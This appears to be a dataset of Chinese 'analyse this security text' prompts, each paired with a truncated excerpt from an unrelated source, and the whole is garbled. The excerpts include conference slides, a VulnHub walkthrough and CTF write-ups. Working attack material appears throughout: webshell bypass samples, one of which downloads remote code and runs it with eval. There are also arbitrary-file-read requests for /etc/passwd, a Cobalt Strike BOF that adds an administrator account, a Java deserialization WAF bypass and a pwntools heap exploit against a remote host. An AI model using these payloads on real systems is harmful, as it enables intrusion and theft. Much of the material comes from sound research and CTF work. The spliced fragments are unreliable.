3 ESP32-V1 vs ESP32-V3 ESP32-V1  Flash encryption and secure boot were broken by LimitedResults3 in 2019  During the power-up eFuse protection bits are manipulated  The main idea is to glitch the chip during the power-up ESP32-V3  In the market since 2020 as a reaction against the previous attack  New secure boot mechanism  It is hardened against fault injection attacks in hardware and software as announced by the vendor 3LimitedResults, Fatal Fury On ESP32: Time to Release HW Exploits, Blackhat Europe 2019 3 Outline ESP32 Security Analysis Fault Injection Setup EMFI on ESP32-V1 EMFI on ESP32-V3 Breaking Firmware Encryption by SCAs Practical Attack Vendor reply and Conclusion 4 ESP32 SECURITY ANALYSIS Security features  Sec


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

# Inclusiveness > https://download.vulnhub.com/inclusiveness/Inclusiveness.ova 靶场IP`192.168.32.23` 扫描对外端口服务 ``` (rootkali)-[/tmp] # nmap -sV -p1-65535 192.168.32.23 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-14 01:43 EDT Nmap scan report for 192.168.32.23 Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) MAC Address: 08:00:27:04:82:67 (Oracle VirtualBox virtual NIC) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds ``` FTP匿名访问没有发现有用的东西 ``` (rootkali)-[/tmp] # ftp 192.168.32.23 Connected to 192.168.32.23. 220 (vsFTPd 3.0.3) Name (192.168.32.23:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -al 229 Entering Extended Passive Mode (|||55354|) 150 Here comes the directory listing. drwxr-xr-x 3 0 0 4096 Feb 08 2020 . drwxr-xr-x 3 0 0 4096 Feb 08 2020 .. drwxrwxrwx 2 0 0 4096 Feb 08 2020 pub 226 Directory send OK. ftp> cd pub 250 Directory successfully changed. ftp> ls 229 Entering Extended Passive Mode (|||35394|) 150 Here comes the directory listing. 226 Directory send OK. ftp> ls -al 229 Entering Extended Passive Mode (|||26092|) 150 Here comes the directory listing. drwxrwxrwx 2 0 0 4096 Feb 08 2020 . drwxr-xr-x 3 0 0 4096 Feb 08 2020 .. 226 Directory send OK. ``` 访问80端口 ![image-20220914134749813](../../.gitbook/assets/image-20220914134749813.png) 爆破目录 ``` (rootkali)-[/tmp] # dirb http://192.168.32.23/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Sep 14 01:47:53 2022 URL_BASE: http://192.168.32.23/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt -----------------


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

HIDS PHP WebShell Bypass 研究与分析 do9gy 背景2022 年春天参加了某 HIDS Bypass 挑战赛赛题恰好是关于 PHP WebShell 绕 过的结合 Fuzz 技术获得了几个侥幸可以绕过的样本围绕#WebShell 检测那些事的主题 与各位做一个分享 挑战赛规则如下: 1WebShell 指外部能传参控制(如通过 GET/POST/HTTP Header 头等方式)执行任 意代码 或命令比如 eval($_GET[1]);在文件写固定指令不算 Shell被认定为无 效如<?php system(whoami); 2绕过检测引擎的 WebShell 样本需要同时提供完整有效的 curl 利用方式 如:curl http://127.0.0.1/webshell.php?1=system("whoami")';curl 利用方式可以在 提供的 docker 镜像中进行编写测试地址可以是容器 IP 或者 127.0.0.1文件名 任意以执行 whoami 作为命令示例 3WebShell 必须具备通用性审核时会拉取提交的 WebShell 内容选取一个和 验证镜 像相同的环境进行验证如果不能正常运行则认为无效 4审核验证 payload 有效性时WebShell 文件名会随机化不能一次性执行成功 和稳定 触发的被认定为无效 首先我对查杀引擎进行了一定的猜测根据介绍查杀引擎有两个两个引擎同 时工作只要有一个引擎检测出了 WebShell 返回结果就是查杀根据经验推测应 该是有一个静态的另一个是动态的对于静态引擎的绕过可以通过拆分关键词 加入能够引发解析干扰的畸形字符等;而对于动态引擎需要分析它跟踪了哪些输入 点又是如何跟踪变量的最终是在哪些函数的哪些参数命中了恶意样本规则于是 我开始了一些尝试 0x01 CURL 引入参数 经过分析引擎对$_GET $_POST $_COOKIE $_REQUEST $_FILES $_SERVER $GLOBALS 等几乎一切可以传递用户参数的全局变量都进行了过滤但是对 curl 进来的内容却是没有 任何过滤于是我们可以通过 CURL 引入参数 <?php $url="http://x/1.txt"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray); $output = curl_exec($ch); curl_close($ch); echo $output; eval($output); 但是在这一点的评判上存在争议本样本惨遭忽略根据挑战赛规则能够动态引入参 数即可我个人认为 CURL 引入的参数也属于外部可控的参数内容 0x02 get_meta_tags 引入参数 get_meta_tags 函数会对给定 url 的 meta 标签进行解析自然也会发起 URL 请求对 于能够发起外连的服务器来说这个 PHP WebShell 样本是极具迷惑性的 不过之前 CURL 的被忽略了这个我也就没有再提交 <?php get_meta_tags("http://x/1")["author"](get_meta_tags("http://x/1")[" keywords"]); ?> 此时目标服务器上需要有相应的文件配合 <meta name="author" content="system"> <meta name="keywords" content="ls"> 通过动态修改该文件第二行的内容可以给 system 传入不同的参数参数内容是完全 可控的 0x03 fpm_get_status 引入参数 比赛环境是 php-fpm 架构的此时可以通过 fpm_get_status() 函数来获取参数可打 印调试 <?php var_dump(fpm_get_status()); 由此构造样本 <?php system(fpm_get_status()["procs"][0]["query-string"]); 不过并不能保证当前进程一直处于第一位因此我第一次提交的样本虽然简短但是 不满足规则中要求的一次性执行成功和稳定触发因此我后面又对样本进行了补充 <?php foreach(fpm_get_status()["procs


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL  LEVERAING WRITE- WHAT-WHERE VULNERABILITIES IN CREATORS UPDATE Whoami  Morten Schenk  Security Advisor, Improsec ApS  Twitter - @blomster81  Blog: https://improsec.com/blog/  GitHub: https://github.com/MortenSchenk  What to expect from this talk  Windows 10 Kernel Exploitation on Creators Update  Lots of hex, C and memes  0-days! Agenda  Brief look at Kernel Exploitation history  New Windows 10 Mitigations  Arbitrary Kernel Read/Write Primitive  KASLR information leak  De-randomizing Page Table Entries  Dynamic Function Location  Executable Kernel Memory Allocation Exploitation Concept  Write-What-Where  Vulnerability class  Best case  Write controlled value at controlled address  Common case  Write not controlled value at controlled address  Leverage to obtain kernel-mode code execution Brief Look at Kernel Exploitation History Windows 7  Kernel information leaks were available with NtQuerySystemInformation Brief Look at Kernel Exploitation History Windows 7  Executable NonPagedPool was the default  Execute User-mode memory from Kernel-mode  Window Function running in kernel mode  Overwrite HalDispatchTable function table with user-mode address Brief Look at Kernel Exploitation History Windows 8.1 and Windows 10  Windows 8.1 and Windows 10 before Anniversary Edition.  Kernel information leaks with APIs blocked from Low Integrity.  NonPagedPoolNx is the new standard.  Supervisor Mode Execution Prevention is introduced.  Kernel-mode read / write primitive is needed.  GDI bitmap primitive.  tagWND primitive. Brief Look at Kernel Exploitation History Windows 8.1 and Windows 10  Information leak of Bitmap through GdiSharedHandleTable  Overwrite size of Bitmap using Write-What-Where  Consecutive Bitmaps can create a primitive  SetBitmapBits  GetBitmapBits Brief Look at Kernel Exploitation History Windows 8.1 and Windows 10  Information leak of User-mode mapped Desktop Heap through  ulClientDelta from Win32ClientInf


Instruction: 请分析这段安全相关的文本内容

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记次某电梯Web系统盒到PHP盒挖掘RCE的过程 概述 闲来事感觉IOT的洞挺好挖记次针对某电梯的Web系统挖掘到的个任意 件上传跟命令注的过程算是对PHP代码审计学习的个记录) 前置知识 PHP执命令函数) 1shell_exec()) string)shell_exec)()string)$cmd)))执命令并将结果作为字符串返回) 返回值如果执失败则返回NULL执成功则返回执结果字符串) 注意This)function)is)disabled)when)PHP)is)running)in)safe)mode) 2passthru()) void)passthru)()string)$command)[,)int)&$return_var)]))) 没有返回值函数直接将执结果返回给浏览器函数第个参数就是执状态 码返回0表成功返回1表失败) 3exec()) string)exec(string)command,)string)[array],)int)[return_var]);) command))需要执的命令) array))是输出值填充的数组(每作为数组的项)) return_var是返回值0或1如果返回0则执成功返回1则执失败) 执不成功时的案个技巧就是使管道命令,)使)2>&1,)命令就会输出shell 执时的错误到$output变量,)输出该变量即可分析) 如exec(convert)a.jpg)b.jpg,)$output,)$return_val);改为exec(convert)a.jpg)b.jpg) 2>&1,)$output,)$return_val);)print_r($output);) 4system()) string)system)()string)$command)[,)int)&$return_var)]))) return_var):命令执状态码返回0表成功返回1表失败) 返回值返回执结果的最后如果失败返回FALSE.) 区别) 1shell_exec())只返回不输出) 2passthru())只输出不返回有状态码) 3exec())返回最后结果所有结果可以保存到个返回的数组有状态 码) 4system())输出返回最后结果)有状态码) 漏洞分析 最早盒发现存在任意件读取 ) 进抓包) ) 篡改成系统其他路径成功读取系统户) POST /app_show_log_lines.php HTTP/1.1) Host: xxx.xxx.xxx.xxx) Content-Type: application/x-www-form-urlencoded) Connection: close) Content-Length: 25) ) fileselection=/etc/passwd) 说明存在任意件读取漏洞这个先暂时记录下来如果没有其他盒能找到的洞 的话就直接利这个对页的URI路径全部爬取进源码读取再审计) ) 接着发现另外个功能可以任意件全部打包成个zip件提供下载) ) 以及在页监控中看进程看到了服务器上正在运apache服务) ) 渗透熟练的伙伴应该知道apache默认站路径是/var/www/html我们直接尝 试打包这个件夹下来看看源码在不在如果不在的话再利上的任意 件读取fuzz跑下apache的配置件再通过从配置件中去寻找对应的web路 径) POC) POST /app_download_zipped_logs.php HTTP/1.1) Host: X.X.X.X) Content-Type: application/x-www-form-urlencoded) Connection: close) Content-Length: 34) ) fileselection[]=/var/www/html/*) ) 成功下载该源码可以开始盒审计) 如果代码量的MVC结构的还是建议扫描器扫遍个习惯喜欢先看看现有 的功能点全部过遍概有个底然后每个代码快速阅读再根据个经验针 对概率出现问题的些功能针对性查看) ) 访问Con`iguration发现访问了authorization.php那我们本地先从这个件开始看) ) 从第32看到最后调校验账号密码是/etc/apache2/.htpasswd件我们利前 的任意件读取即可获得密码) ) 通过cmd5解密cmd5打钱) kone:gateway) admin:kone) 成功登录说明思路没问题) ) 初步看到功能有配置件上传跟下载配置件应升级服务管理时间服务器 管理Web密码修改以及PostgreSQL数据库管理搞IOT漏洞挖掘熟悉的伙 伴如果是盒的话命令注应该会优先看NTP服务器Ping功能相关我们切 到盒去查看对应的代码看看有没过


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安全文本分析：

1 反序列化脏数据 Java反序列化数据绕WAF之加量脏数据 https://mp.weixin.qq.com/s/wvKfe4xxNXWEgtQE4PdTaQ 其实就是再最外层封装层只要该类有对象属性般来说在反序列化的时候都会试着调该属性的 readObject去还原他所以我们要找的class第需要实现java.io.Serializable接第可以存储任 意对象这么看来集合类型就常符合我们的需求 如 1. ArrayList 2. LinkedList 3. HashMap 4. LinkedHashMap 5. TreeMap 这个思路是基于@Y4tacker师傅做的扩展源头总体来说还是这篇章 https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA 如上法还是正常封装java反序列化在ObjectInputStream#readSerialData中有个逻辑即 使某块数据反序列化失败仍然可以继续下块数据的反序列化如LinkedList.add添加多个每个 脏数据1.0 脏数据2.0 Java 复制代码 List<Object> a = new LinkedList<Object>(); a.add(new FindClassByDNS().makeClass("TargetClass")); a.add(new URLDNS().getObject("http://1234.z6lh5t.dnslog.cn", null)); 1 2 3 2 对象不影响下个对象反序列化如下图是个的for循环 skipCustomData应该是于处理些定义数据1200x78是块数据结束符下图是jdk1.6的 3 这是jdk1.8对多个版本主要是确认119和121是否都是操作前看来只有1190x77即 TC_BLOCKDATA是空操作那么就可以在块中插脏数据0x77 4 调试发现 this.readObject0(false) 会调下个序列化数据该bin.peekByte读取的是 0x73 5 尝试插字节测试 发现在readBlockHeader报错了 6 原来这也会读取到119那么这个字节就不能了 其实根据这个思路可以找些其他位置或其他字符来测试 7 简单看了下发现0x70表示Null 并且原来这0x78后也是112(0x70 TC_NULL) 8 所以尝试插发现可以了可以继续反序列化hashmap了这测试的是URLDNS后续就是正常 过程了 仔细跟踪了下 readBlockHeader 如果是112(0x70 TC_NULL)那么就和不插样正常进 后续解析 9 readBlockHeader 是在 this.bin.skipBlockData() 般只会执次然后 this.re adObject0(false) 的switch判断类型如果是112(0x70 TC_NULL)也就跳过不处理继续后续 处理 10 11 绕过119(0x77 TC_BLOCKDATA)的报错了那么我突然想在这后再插119(0x77 TC_BLOCKDATA)是不是也- -傻逼了go写多了case 119没有break会步122那么就会继 续解析之前的blockheader到这突然想到那么我在0x77后再插0x70是不是就绕回来了 这出现了个误解peekByte是不会移动数据流的pos的只有readreadFull等等才会所以这 没有的 12 前看来只能插0x70了 13 其他字节能否有同样效果可以找下skipCustomData() 的解析法 skipBlockData()->readB lockHeader() 和 readObject0() 总结下有两个新的案 1. 填充量null代表的\x70 14 2. 填充量不存在的class这个其实想填充啥填充啥 Java 复制代码 // 通过LinkedList插count个\x70 public byte[] junkDataWithNull70(Object obj,int count) throws Exception { // 插不存在的class List<Object> list = new LinkedList<Object>(); list.add(this.makeClass(RandomStringUtils.randomAlphabetic(10) + System.nanoTime())); list.add(obj); // 序列化 byte[] serBytes = Serializer.serialize(list); // 插脏数据 String key = new String(new byte[]{0x78,0x70,0x73,0x7


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Career Mythbusters Separating Fact from Fiction in your Security Career Lee Kushner / Mike Murray Lee@LJKushner.com / mmurray@episteme.ca 2 Who Are We?  Lee Kushner  Over 10 years of Success Recruitment of Information Security Professionals  Founder and CEO of the Leading Information Security Recruitment Firm, LJ Kushner and Associates LLC  Wide Range of Nationally Based Clients from Fortune 500s to security product vendors  Mike Murray  Security professional with a decade of diverse experience.  Security blogger (Episteme.ca) specializing in talking about security careers, author of the book Forget the Parachute, Let Me Fly the Plane  Has managed security teams and helps people working with him develop the career that they really want to have.  We bring very different perspectives on Careers 3 Were Doing a Survey!  More data required  Through our roles, we gather a lot of anecdotal evidence, but we cant ever have enough hard data.  We want to give you something back.  Fill it out anonymously if you want, or provide an email address and well send you the survey and our analysis when were done.  Well take the data, slice and dice it, and give you more real information about careers in infosec.  Well also give you Mikes e-book on careers to help you know more about finding a job, personal branding tools, etc.  Fill it out: http://www.infosecleaders.com/survey 4 The Big Ones (Myths, that is...)  Job Hunting  Cover Letters Matter.  Resumes arent that important.  The hiring manager should hear of you from your resume.  Interviews are for the companys benefit.  Interviews are about your qualifications.  Managing your Job  Money is the most important benefit.  You will get a raise because you should.  Job title is one of the most important considerations.  Career Path  You should expect to stick with a single company.  Your company will help you figure out your career.  You dont need to plan your career.  You should definitely plan to move in to management.  What you know


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安全文本分析：

Are all BSDs created equally? A survey of BSD kernel vulnerabili9es.; ! ! ! Ilja!van!Sprundel!<ivansprundel@ioac4ve.com>! Who Am I;  Ilja!van!Sprundel!!  ivansprundel@ioac4ve.com!  Director!of!Penetra4on!Tes4ng!at!IOAc4ve!!  Pen!test!  Code!review!  Break!stuﬀ!for!fun!and!proﬁt!J!! Outline/Agenda ;  Intro!  Data!!  vulnerabili4es!over!the!years!  Test!by!audit!  Common!aJack!surface!!  Somewhat!less!common!aJack!surface!!  Some!results!/!conclusions!! What is this talk about? ;  BSD!kernel!vulnerabili4es!!  Comparison!!  Between!diﬀerent!BSD!ﬂavors!!  Audience!!  Low!level!security!enthusiasts!!  UNIX/BSD!geeks!!  I!suspect!Linux!folks!might!enjoy!this!too!J!  Curious!people!that!like!to!poke!around!in!OS!internals!  Knowledge!!  Some!basic!knowledge!of!UNIX!/!BSD!internals!!! Standing on the shoulders of giants;  Previous!interes4ng!BSD!kernel!security! research!by:!!  Silvio!!  the!noir!  Esa!Etelavuori!  Patroklos!(argp)!Argyroudis!  Christer!Oberg!!  Joel!Erikkson!!  Clement!Lecigne! intro; Really? Got Data?;  Somehow!that!statement!has!always! been!stuck!in!my!head!!  Is!it!true?!!  Can!we!look!at!some!data!?!! Source: hFps://www.cvedetails.com/product/47/Linux-Linux-Kernel.html; Data! ;  Goes!from!current!back!to!1999!for!Linux!kernel!vulnerabili4es!!  Cvedetails.com!doesnt!seem!to!provide!data!for!OBSD/NBSD/FBSD!!  Manually!grab!it!from!!  hJps://www.freebsd.org/security/advisories.html!  hJp://netbsd.org/support/security/advisory.html!  hJps://www.openbsd.org/errata*.html! BSD kernel vulnerabili9es over the years ;  Looking!at!these!numbers,!that!was!an!astute! observa4on!by!Theo.!!  20!was!a!very!low!es4mate!!  But!are!these!numbers!on!equal!foo4ng?!!  Many!eyeballs?!!  Yea,!yea,!I!know!.!But!is!there!some!truth!to!it!in!this! case?!!! FreeBSD! NetBSD! OpenBSD! 1999! 3! 8! 10! 2000! 8! 4! 15! 2001! 6! 7! 13! 2002! 11! 6! 11! 2003! 7! 3! 8! 2004! 8! 5! 13! 2005! 11! 8! 4! 2006! 9! 15! 6! 2007! 1! 4! 9! 2008! 8! 6! 7! 2009! 5! 1! 4! 2010! 3! 6! 8! 2011! 1! 2!


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

# double Web, Easy ## Description > Get the /flag at http://108.61.211.185/ ## Solution When accessing the site we get the following output: ```python import string import urllib2 from bottle import route, run, post, get, request @get('/') def index(): with open(__file__) as f: return '<pre>' + "".join({'<':'<','>':'>'}.get(c,c) for c in f.read()) + '</pre>' @post('/isup') @get('/isup') def isup(): try: name = request.params.get('name', None) ip = request.environ.get('REMOTE_ADDR') is_remote = not (ip.startswith('127') or ip.startswith('172')) is_valid = all(x in name for x in ['http', 'kuchenblech']) if is_remote and not is_valid: raise Exception result = urllib2.urlopen(name).read() return result except: return 'Error' run(host='0.0.0.0', server="paste", port=8080, reloader=False) ``` It looks like the root directory prints the source of the backend script. Using the `/isup` page, we can read a webpage via `urllib2.urlopen(name).read()`, assuming we comply with the preconditions: * If our IP is identified as a remote IP (i.e. it starts with `127` or `172`), we can only read URLs which contain both `http` and `kuchenblech` (note: The CTF domain was `http://kuchenblech.xyz/`). * Local IPs can read any URL. `127.*.*.*` should be familiar to everyone. Let's research `172.*.*.*` addresses: > If the 1st octet is 172 and the 2nd octet of a IPv4 address is 1631, you have a private IP address, similar to 192.168.x.x or 10.x.x.x. These are the 3 private IP address ranges that are reserved per RFC 1918. > > ... > > If the 2nd octet of an IPv4 address starting with 172 is anything other than 1631, its a publicly routable IP, just like almost any other. > ([Source](https://www.quora.com/What-is-the-significance-of-IP-addresses-starting-with-172)) So, using a proxy which starts with `172` we can bypass the `is_valid` check. But what should we send as the `name`? Sending `http://108.61.211.185/flag` didn't work, perhaps `/flag` is a local file? It turns out `urlopen` can open lo


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安全文本分析：

Can You Trust Autonomous Vehicles: Contactless Attacks against Sensors of Self-driving Vehicle Jianhao Liu 360 ADLAB SKY-GO Team Chen Yan Zhejiang University Wenyuan Xu Zhejiang University & University of South Carolina Paddy Liu Director of Qihoo360 ADLAB SKY-GO Team Vehicle Cyber Security Jianhao Liu is a senior security consultant at Qihoo 360 who focuses on the security of Internet of Things and Internet of Vehicles. He has reported a security vulnerability of Tesla Model S, led a security research on the remote control of a BYD car, and participated in the drafting of security standards among the automobile society. Being a security expert employed by various information security organizations and companies, he is well experienced in security service, security evaluation, and penetration test. Who Am I 2 Chen Yan Ph.D. Student Ubiquitous System Security Laboratory (USSLAB) Zhejiang University, China His research focuses on the security and privacy of wireless communication and embedded systems, including automobile, analog sensors, and IoT devices. Who Am I 3 Wenyuan Xu Professor Zhejiang University, China University of South Carolina, United States Her research interests include wireless security, network security, and IoT security. She is among the first to discover vulnerabilities of tire pressure monitor systems in modern automobiles and automatic meter reading systems. Dr. Xu received the NSF Career Award in 2009. She has served on the technical program committees for several IEEE/ACM conferences on wireless networking and security, and she is an associated editor of EURASIP Journal on Information Security. Who Am I 4 Table of Contents  Autonomous Vehicles  Basics of automated driving  Hacking autonomous cars by sensors  Attacking ultrasonic sensors  Attacking MMW Radars  Attacking cameras  Discussion 5 What is Autonomous Vehicle? 6 Source:Michael Aeberhard, BMW Group Research and Technology Levels of Driving Automation 7 Connected Automated Vehicles 8 How


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

1 bof测 个正常C程序如何转换成bof件这记录下过程 bof的原理实现就不多讲了简单来说就是编译成个object件COFF格式exe是PE格式然后 传输给beacon后在终端上完成链接过程这也就导致bof件常般只有K 参考 https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/untitled-3 在github有个不错的开源项可以以此为模板进步开发不需要完全重头开始 https://github.com/trustedsec/CS-Situational-Awareness-BOF https://github.com/securifybv/Visual-Studio-BOF-template 我是基于第个项开发这个项有很多已实现的案例可作为参考 SA录就是编译成object的件于直接提供cs使 src是源码录除了已实现功能的源码还提供了个base_template作为模板 编写bof代码 2 将base_template拷份到src/SA下改成如useraddBOFNAME也修改下便发布 3 然后看下核代码部分这其实考虑到了两种使场景了bof提供cs使exe供独使也便 调试功能是否正常编译的时候只需要带上-DBOF即可编译成bof bof和exe区别如下exe固定是main函数bof会由加载器扫描go函数的地址作为当然 也可以是其他名字默认是go 4 bof编写般会导个beacon.h有些内置的函数提供如我要打印内容给teamsever显示 就可以调BeaconPrintf其他函数和使可参考这个官链接 https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/b eacon-object-files_main.htm 接着就是编写功能了如添加户这有个C项有现成代码 https://github.com/newsoft/adduser 代码较简单调NetUserAdd添加户然后调 NetLocalGroupAddMembers 加 administrators组 5 但这些都是直接调的win32api如果看了上提供的bof官档就会知道这些api需要动态加载调 不像是PE件有导表那官提供了两种法是调loadlibrary等函数动态加载是动态 函数解析(DFR)我这选择后者这个便些 6 在src\common\bofdefs.h添加宏定义于动态函数解析 并添加函数声明于外部调 如上操作即可完成动态函数解析然后在我们要编写的代码替换成带有lib名称的函数即可 C 复制代码 #define NETAPI32$NetUserAdd NetUserAdd 1 C 复制代码 WINBASEAPI DWORD WINAPI NETAPI32$NetUserAdd(LPCWSTR,DWORD,PBYTE,PDWORD); 1 7 繁琐的地主要在于要查微软官档然后才知道函数签名 这个项动完成这个过程了通过个本地函数库获取函数签名再通过微软在线查询该函数对应的 lib件名是什么拼接实现上声明代码 https://github.com/dtmsecurity/bof_helper 效果如下然后最后复制到bofdefs.h即可 把需要打印回显的位置替换成BeaconPrintfbof的项还做了个封装更便使 internal_p rintf 8 使make bof尝试编译是否正常 然后cs调可以正常加载但有个问题这样是法传参的 C 复制代码 inline-execute [dirpath]\useradd.x64.o 1 9 如这样是法传参的 看下go的解析参数代码这个是参考其他功能的代码cs内置个datap数据类型于数据解 析先调BeaconDataParse将缓存放parser再通过BeaconDataExtract提取 参看官册提供了五种函数于数据提取也就是说数据类型也5种int/char*/wchar_t*/short 等那如果是命令传递是不可能知道数据类型的仔细看档第提示了需要结合cna脚本的 参数解析问题 C 复制代码 inline-execute [dirpath]\useradd.x64.o user pass 1 10 bof_pack函数来pack格式化参数传递所以需要编写cna脚本了 这个bof项也提供了现成的cna脚本所以只需要参考改下即可 代码如下很简单,添加个函数useradd然后通过 beacon_command_register 注册 cna脚本编写 11 PS: readbof是这个项定义的函数于读取bof完整


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

XCTF WP Author:Nu1L XCTF WP PWN cpp qemuzz GAME Reverse divination Web mine1_1 mine2 pyer webshell_1 hids PWN cpp UAFlibcfree_hook from pwn import * # s = process("./chall") s = remote("124.70.12.210","10002") def add(idx,buf): s.sendlineafter("> ",str(0)) s.sendafter("> ",buf) s.sendlineafter("> ",str(idx)) def edit(idx): s.sendlineafter("> ",str(1)) s.sendlineafter("> ",str(idx)) for i in range(0x40): add(i,'\n') context.terminal = ['notiterm', '-t', 'iterm', '-e'] edit(0) qemuzz s.send("\n") edit(1) s.recvuntil("> ") heap = u64(s.recvline(keepends=False).ljust(8,'\x00'))-0x11eb0 success(hex(heap)) s.send(p64(heap+0x11f28)[:-2]+"\n") add(0x40,'\n') add(0x41,'\x01\x05\n') edit(4) libc = ELF("./libc-2.31.so") libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-0x1ebbe0 success(hex(libc.address)) s.send(p64(libc.address+0x1ebbe0)[:-2]+"\n") free_hook = libc.sym['__free_hook'] system = libc.sym['system'] # gdb.attach(s,"b *$rebase(0x13c6)\nc") edit(0x11) s.send("\n") edit(0x10) s.send(p64(free_hook)[:-2]+"\n") add(0xa0,'sh\n') add(0xa1,p64(system)[:-2]+"\n") add(0xa2,p64(system)[:-2]+"\n") edit(0xa0) s.interactive() #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <signal.h> #include <fcntl.h> #include <ctype.h> #include <termios.h> #include <sys/types.h> #include <sys/mman.h> #include <assert.h> #define PRINT_ERROR \ do \ { \ fprintf(stderr, "Error at line %d, file %s (%d) [%s]\n", \ __LINE__, __FILE__, errno, strerror(errno)); \ exit(1); \ } while (0) int mmio_fd = -1; uint8_t *mmio_base = NULL; int mmio_size = 0x1000; void die(char *msg) { puts(msg); exit(1); } void init_mmio() { mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); if (mmio_fd < 0) { die("open mmio_fd"); } mmio_base = (uint8_t *)mmap(0, mmio_size, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_base == MAP_FAILED) { die("mmap mmio_base"); } printf("mmio_base: %p\n", mmio_base);


Instruction: 请分析这段安全相关的文本内容

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M A N N I N G Dominik Picheta www.allitebooks.com Nim Reference Common constructs const x = 5 Compile-time constant let y = Hello Immutable binding var z = [1, 2, 3] Mutable variable proc name(param: int): ReturnType = body method name(param: float): ReturnType = body iterator items(list: seq[int]): int = body template name(param: typed) = body macro name(param: string): untyped = body if x > 5: body elif y == "Hello": body else: body case x of 5: body of 1, 2, 3: body of 6..30: body for item in list: body for i in 0..<len(list): body while x == 5: if y.len > 0: break else: continue try: raise err except Exception as exc: echo(exc.msg) finally: discard Input/Output echo(x, 42, "text") readFile("file.txt") stdout.write("text") writeFile("file.txt", "contents") stderr.write("error") open("file.txt", fmAppend) stdin.readLine() Type definitions type MyType = object field: int type Colors = enum Red, Green, Blue, Purple type MyRef = ref object field*: string Licensed to <null> www.allitebooks.com Nim in Action Licensed to <null> www.allitebooks.com Licensed to <null> www.allitebooks.com Nim in Action DOMINIK PICHETA M A N N I N G SHELTER ISLAND Licensed to <null> www.allitebooks.com For online information and ordering of this and other Manning books, please visit www.manning.com. The publisher offers discounts on this book when ordered in quantity. For more information, please contact Special Sales Department Manning Publications Co. 20 Baldwin Road PO Box 761 Shelter Island, NY 11964 Email: orders@manning.com 2017 by Manning Publications Co. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form or by means electronic, mechanical, photocopying, or otherwise, without prior written permission of the publisher. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in the book, and Manning Publications was aware


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eBPF, I thought we were friends ! Guillaume Fournier Sylvain Afchain August 2021 Defcon 2021 2 About us Guillaume Fournier Security Engineer guillaume.fournier@datadoghq.com Sylvain Afchain Staﬀ Engineer sylvain.afchain@datadoghq.com Sylvain Baubeau Staﬀ Engineer & Team lead sylvain.baubeau@datadoghq.com  Cloud Workload Security Team  Leverage eBPF to detect attacks at runtime  Integrated in the Datadog Agent 3 Agenda  Introduction to eBPF  Abusing eBPF to build a rootkit  Obfuscation  Persistent access  Command and Control  Data exfiltration  Network discovery  RASP evasion  Detection and mitigation strategies Defcon 2021 4 Introduction to eBPF Defcon 2021 5 Introduction to eBPF  Extended Berkeley Packet Filter  Sandboxed programs in the Linux kernel  Initially designed for fast packet processing  Use cases:  Kernel performance tracing  Network security and observability  Runtime security  etc What is eBPF ? Falco Tracee Defcon 2021 6 Introduction to eBPF Step 1: Loading eBPF programs Defcon 2021 7 Introduction to eBPF Step 2: Attaching eBPF programs  Defines how a program should be triggered  ~ 30 program types (Kernel 5.13+)  Depends on the program type  BPF_PROG_TYPE_KPROBE  BPF_PROG_TYPE_TRACEPOINT  BPF_PROG_TYPE_SCHED_CLS  BPF_PROG_TYPE_XDP  etc  Programs of different types can share the same eBPF maps perf_event_open syscall Dedicated Netlink command Defcon 2021 8 Introduction to eBPF eBPF internals: the veriﬁer The eBPF verifier ensures that eBPF programs will finish and wont crash.  Directed Acyclic Graph  No unchecked dereferences  No unreachable code  Limited stack size (512 bytes)  Program size limit (1 million on 5.2+ kernels)  Bounded loops (5.2+ kernels)   and cryptic output ... Defcon 2021 9 Introduction to eBPF eBPF internals: eBPF helpers  Context helpers  bpf_get_current_task  bpf_get_current_pid_tgid  bpf_ktime_get_ns  etc  Map helpers  bpf_map_lookup_elem  bpf_map_delete_elem  etc  Program type specific helpers  bpf_xdp_adjust_tail  bpf_csum_dif


